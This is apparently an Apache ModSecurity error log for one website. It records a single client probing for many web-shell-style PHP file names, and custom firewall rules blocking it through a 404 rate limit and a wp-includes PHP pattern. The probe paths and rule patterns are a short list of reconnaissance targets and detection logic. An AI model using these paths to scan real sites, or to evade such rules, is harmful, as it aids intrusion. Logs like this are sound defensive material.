[Fri Apr 24 08:28:06.049879 2026] [:error] [pid 19102:tid 19171] [client 51.120.70.44:58776] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aeq5FgDSgrbLEZbkqD4iuAAAAIc"]
[Fri Apr 24 08:28:07.183080 2026] [:error] [pid 19102:tid 19179] [client 51.120.70.44:57995] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aeq5FwDSgrbLEZbkqD4ivgAAAI8"]
[Fri Apr 24 08:28:08.022139 2026] [:error] [pid 19102:tid 19188] [client 51.120.70.44:61994] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aeq5GADSgrbLEZbkqD4iwgAAAJg"]
[Fri Apr 24 08:28:08.641950 2026] [:error] [pid 19102:tid 19182] [client 51.120.70.44:47073] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aeq5GADSgrbLEZbkqD4iwwAAAJI"]
[Fri Apr 24 08:28:09.240939 2026] [:error] [pid 19101:tid 19139] [client 51.120.70.44:42629] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aeq5GWAHj9bEvrTgbO0algAAAEI"]
[Fri Apr 24 08:28:09.895190 2026] [:error] [pid 19102:tid 19168] [client 51.120.70.44:63337] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aeq5GQDSgrbLEZbkqD4izgAAAIQ"]
[Fri Apr 24 08:28:10.565149 2026] [:error] [pid 52129:tid 52155] [client 51.120.70.44:5515] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aeq5GuKCZKf8_u2LKiAL9QAAARY"]
[Fri Apr 24 08:28:11.758393 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:57996] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aeq5G-KCZKf8_u2LKiAL-AAAAQY"]
[Fri Apr 24 08:28:13.206164 2026] [:error] [pid 52129:tid 52154] [client 51.120.70.44:53957] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aeq5HeKCZKf8_u2LKiAL-wAAARU"]
[Fri Apr 24 08:28:15.863947 2026] [:error] [pid 52129:tid 52145] [client 51.120.70.44:63850] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aeq5H-KCZKf8_u2LKiAMBgAAAQw"]
[Fri Apr 24 08:28:17.322779 2026] [:error] [pid 52129:tid 52137] [client 51.120.70.44:42670] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeq5IeKCZKf8_u2LKiAMCwAAAQQ"]
[Fri Apr 24 08:28:20.536416 2026] [:error] [pid 19102:tid 19171] [client 51.120.70.44:52053] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeq5JADSgrbLEZbkqD4jDgAAAIc"]
[Fri Apr 24 08:28:23.303489 2026] [:error] [pid 19102:tid 19183] [client 51.120.70.44:63554] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeq5JwDSgrbLEZbkqD4jHQAAAJM"]
[Fri Apr 24 08:28:26.193928 2026] [:error] [pid 19200:tid 19225] [client 51.120.70.44:65197] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aeq5KjQ--M3-tsKAnhEUCwAAANE"]
[Fri Apr 24 08:28:27.411750 2026] [:error] [pid 19200:tid 19221] [client 51.120.70.44:65197] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeq5KzQ--M3-tsKAnhEUDQAAAM0"]
[Fri Apr 24 08:28:29.219470 2026] [:error] [pid 19200:tid 19214] [client 51.120.70.44:65177] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeq5LTQ--M3-tsKAnhEUFAAAAMY"]
[Fri Apr 24 08:28:31.124069 2026] [:error] [pid 19200:tid 19231] [client 51.120.70.44:54711] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeq5LzQ--M3-tsKAnhEUHAAAANc"]
[Fri Apr 24 08:28:32.508328 2026] [:error] [pid 19101:tid 19161] [client 51.120.70.44:49862] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aeq5MGAHj9bEvrTgbO0aowAAAFg"]
[Fri Apr 24 08:28:33.976299 2026] [:error] [pid 19200:tid 19214] [client 51.120.70.44:49953] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aeq5MTQ--M3-tsKAnhEUIAAAAMY"]
[Fri Apr 24 08:28:35.548642 2026] [:error] [pid 52129:tid 52150] [client 51.120.70.44:63579] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aeq5M-KCZKf8_u2LKiAMSgAAARE"]
[Fri Apr 24 08:28:37.348265 2026] [:error] [pid 19200:tid 19232] [client 51.120.70.44:43711] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aeq5NTQ--M3-tsKAnhEUJQAAANg"]
[Fri Apr 24 08:28:38.335856 2026] [:error] [pid 19200:tid 19208] [client 51.120.70.44:49924] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aeq5NjQ--M3-tsKAnhEUKgAAAMA"]
[Fri Apr 24 08:28:39.393987 2026] [:error] [pid 19101:tid 19153] [client 51.120.70.44:60059] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aeq5N2AHj9bEvrTgbO0apQAAAFA"]
[Fri Apr 24 08:28:40.318954 2026] [:error] [pid 19200:tid 19224] [client 51.120.70.44:60099] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aeq5ODQ--M3-tsKAnhEUOAAAANA"]
[Fri Apr 24 08:28:41.572425 2026] [:error] [pid 19100:tid 19111] [client 51.120.70.44:63851] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aeq5ObF_hzQs4CqbifdRZgAAAAI"]
[Fri Apr 24 08:28:43.133038 2026] [:error] [pid 19102:tid 19188] [client 51.120.70.44:44354] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aeq5OwDSgrbLEZbkqD4jaAAAAJg"]
[Fri Apr 24 08:28:44.925683 2026] [:error] [pid 52129:tid 52142] [client 51.120.70.44:62818] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "aeq5POKCZKf8_u2LKiAMWwAAAQk"]
[Fri Apr 24 08:28:45.909232 2026] [:error] [pid 19102:tid 19166] [client 51.120.70.44:51127] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "aeq5PQDSgrbLEZbkqD4jcAAAAII"]
[Fri Apr 24 08:28:47.162188 2026] [:error] [pid 19100:tid 19119] [client 51.120.70.44:51032] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "aeq5P7F_hzQs4CqbifdRfgAAAAk"]
[Fri Apr 24 08:29:04.118094 2026] [:error] [pid 19200:tid 19210] [client 51.120.70.44:47143] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aeq5UDQ--M3-tsKAnhEUsAAAAMI"]
[Fri Apr 24 08:29:05.039571 2026] [:error] [pid 52129:tid 52156] [client 51.120.70.44:55477] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aeq5UeKCZKf8_u2LKiAMgwAAARc"]
[Fri Apr 24 08:29:06.021083 2026] [:error] [pid 19102:tid 19181] [client 51.120.70.44:58501] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aeq5UgDSgrbLEZbkqD4jewAAAJE"]
[Fri Apr 24 08:29:07.258857 2026] [:error] [pid 19200:tid 19224] [client 51.120.70.44:56923] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aeq5UzQ--M3-tsKAnhEUuQAAANA"]
[Fri Apr 24 08:29:08.471617 2026] [:error] [pid 52129:tid 52148] [client 51.120.70.44:58731] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "aeq5VOKCZKf8_u2LKiAMiAAAAQ8"]
[Fri Apr 24 08:29:09.360660 2026] [:error] [pid 52129:tid 52145] [client 51.120.70.44:58720] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "aeq5VeKCZKf8_u2LKiAMiwAAAQw"]
[Fri Apr 24 08:29:10.990926 2026] [:error] [pid 19102:tid 19165] [client 51.120.70.44:56922] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "aeq5VgDSgrbLEZbkqD4jfwAAAIE"]
[Fri Apr 24 08:29:12.364111 2026] [:error] [pid 52129:tid 52137] [client 51.120.70.44:51985] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "aeq5WOKCZKf8_u2LKiAMlgAAAQQ"]
[Fri Apr 24 08:29:13.308958 2026] [:error] [pid 19102:tid 19182] [client 51.120.70.44:59817] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "aeq5WQDSgrbLEZbkqD4jggAAAJI"]
[Fri Apr 24 08:29:14.796792 2026] [:error] [pid 19100:tid 19121] [client 51.120.70.44:58717] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "aeq5WrF_hzQs4CqbifdR0gAAAAs"]
[Fri Apr 24 08:29:16.467758 2026] [:error] [pid 19101:tid 19141] [client 51.120.70.44:5318] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "aeq5XGAHj9bEvrTgbO0a5AAAAEQ"]
[Fri Apr 24 08:29:17.598087 2026] [:error] [pid 52129:tid 52157] [client 51.120.70.44:5341] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "aeq5XeKCZKf8_u2LKiAMuQAAARg"]
[Fri Apr 24 08:29:18.880363 2026] [:error] [pid 52129:tid 52152] [client 51.120.70.44:5705] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeq5XuKCZKf8_u2LKiAMxQAAARM"]
[Fri Apr 24 08:29:19.739527 2026] [:error] [pid 19102:tid 19177] [client 51.120.70.44:59786] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeq5XwDSgrbLEZbkqD4jjwAAAI0"]
[Fri Apr 24 08:29:21.813279 2026] [:error] [pid 52129:tid 52155] [client 51.120.70.44:59826] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeq5YeKCZKf8_u2LKiAM1wAAARY"]
[Fri Apr 24 08:29:22.406477 2026] [:error] [pid 19101:tid 19154] [client 51.120.70.44:44803] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeq5YmAHj9bEvrTgbO0a8gAAAFE"]
[Fri Apr 24 08:29:23.540416 2026] [:error] [pid 19200:tid 19213] [client 51.120.70.44:63795] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aeq5YzQ--M3-tsKAnhEUwgAAAMU"]
[Fri Apr 24 08:29:24.623388 2026] [:error] [pid 19200:tid 19224] [client 51.120.70.44:60773] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aeq5ZDQ--M3-tsKAnhEUyAAAANA"]
[Fri Apr 24 08:29:27.000711 2026] [:error] [pid 19102:tid 19175] [client 51.120.70.44:5320] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aeq5ZgDSgrbLEZbkqD4jqAAAAIs"]
[Fri Apr 24 08:29:29.144086 2026] [:error] [pid 19102:tid 19177] [client 51.120.70.44:60711] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aeq5aQDSgrbLEZbkqD4jsgAAAI0"]
[Fri Apr 24 08:29:30.022644 2026] [:error] [pid 19100:tid 19109] [client 51.120.70.44:59785] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aeq5arF_hzQs4CqbifdR2wAAAAA"]
[Fri Apr 24 08:29:30.874094 2026] [:error] [pid 19101:tid 19138] [client 51.120.70.44:56905] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aeq5amAHj9bEvrTgbO0a-gAAAEE"]
[Fri Apr 24 08:29:31.996417 2026] [:error] [pid 19100:tid 19110] [client 51.120.70.44:46830] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aeq5a7F_hzQs4CqbifdR3QAAAAE"]
[Fri Apr 24 08:29:33.382929 2026] [:error] [pid 19101:tid 19155] [client 51.120.70.44:56289] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aeq5bWAHj9bEvrTgbO0a-wAAAFI"]
[Fri Apr 24 08:29:34.141158 2026] [:error] [pid 19100:tid 19132] [client 51.120.70.44:53939] [client 51.120.70.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "aeq5brF_hzQs4CqbifdR4QAAABY"]
[Fri Apr 24 08:29:35.322731 2026] [:error] [pid 19102:tid 19168] [client 51.120.70.44:56280] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeq5bwDSgrbLEZbkqD4j2QAAAIQ"]
[Fri Apr 24 08:29:36.098534 2026] [:error] [pid 19100:tid 19121] [client 51.120.70.44:44897] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aeq5cLF_hzQs4CqbifdR4gAAAAs"]
